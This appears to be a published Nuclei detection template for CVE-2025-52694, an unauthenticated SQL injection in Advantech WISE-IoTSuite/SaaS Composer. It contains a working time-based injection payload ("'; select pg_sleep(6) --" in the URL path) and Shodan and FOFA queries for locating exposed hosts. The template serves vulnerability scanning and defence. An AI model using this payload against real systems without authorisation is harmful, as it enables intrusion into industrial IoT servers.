Advantech WISE-IoTSuite/SaaS Composer suffers from an unauthenticated SQL Injection vulnerability due to the unsafe use of the `filename` parameter within the URL path in PostgreSQL queries. Remote attackers can exploit this flaw by injecting SQL code (such as the use of `pg_sleep` for time delays) to verify the vulnerability, and may gain further impact such as Remote Code Execution (RCE) depending on the privileges granted to the database user.
PoC代码[已公开]
id: CVE-2025-52694
info:
name: Advantech WISE-IoTSuite/SaaS - SQL Injection
author: Loi Nguyen Thang
severity: critical
description: |
Advantech WISE-IoTSuite/SaaS Composer suffers from an unauthenticated SQL Injection vulnerability due to the unsafe use of the `filename` parameter within the URL path in PostgreSQL queries. Remote attackers can exploit this flaw by injecting SQL code (such as the use of `pg_sleep` for time delays) to verify the vulnerability, and may gain further impact such as Remote Code Execution (RCE) depending on the privileges granted to the database user.
impact: |
Successful exploitation could allow an attacker to dump the database, modify data, or execute remote commands on the underlying server.
remediation: |
Apply the latest security patches provided by Advantech or sanitize the `filename` input parameter to prevent SQL injection.
reference:
- https://www.cve.org/CVERecord?id=CVE-2025-52694
- https://www.csa.gov.sg/alerts-and-advisories/alerts/alerts-al-2026-001
- https://github.com/Winz18/CVE-2025-52694-POC
- https://nvd.nist.gov/vuln/detail/CVE-2025-52694
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-52694
epss-score: 0.00106
epss-percentile: 0.29338
cwe-id: CWE-89
metadata:
verified: true
shodan-query: title:"SaaS Composer"
fofa-query: title="SaaS Composer"
tags: cve,cve2025,sqli,advantech,iot,saas-composer,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "SaaS Composer"
internal: true
- method: GET
path:
- "{{BaseURL}}/displays/nuclei_check.json'; select pg_sleep(6) --?org_id={{org_id}}"
payloads:
org_id:
- 1
- 2
- 3
- 4
- 5
attack: clusterbomb
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration>=6'
condition: and
# digest: 4a0a0047304502201c0ba21597b8fa391d73b6ff721cd193ed1f4825c553df0cf7dd08538b3d20690221008cfb377ac70f287334a4e0b11c722c7f9be3e7b7f8070dc0b0a18d723045782c:922c64590222798bb761d5b6d8e72950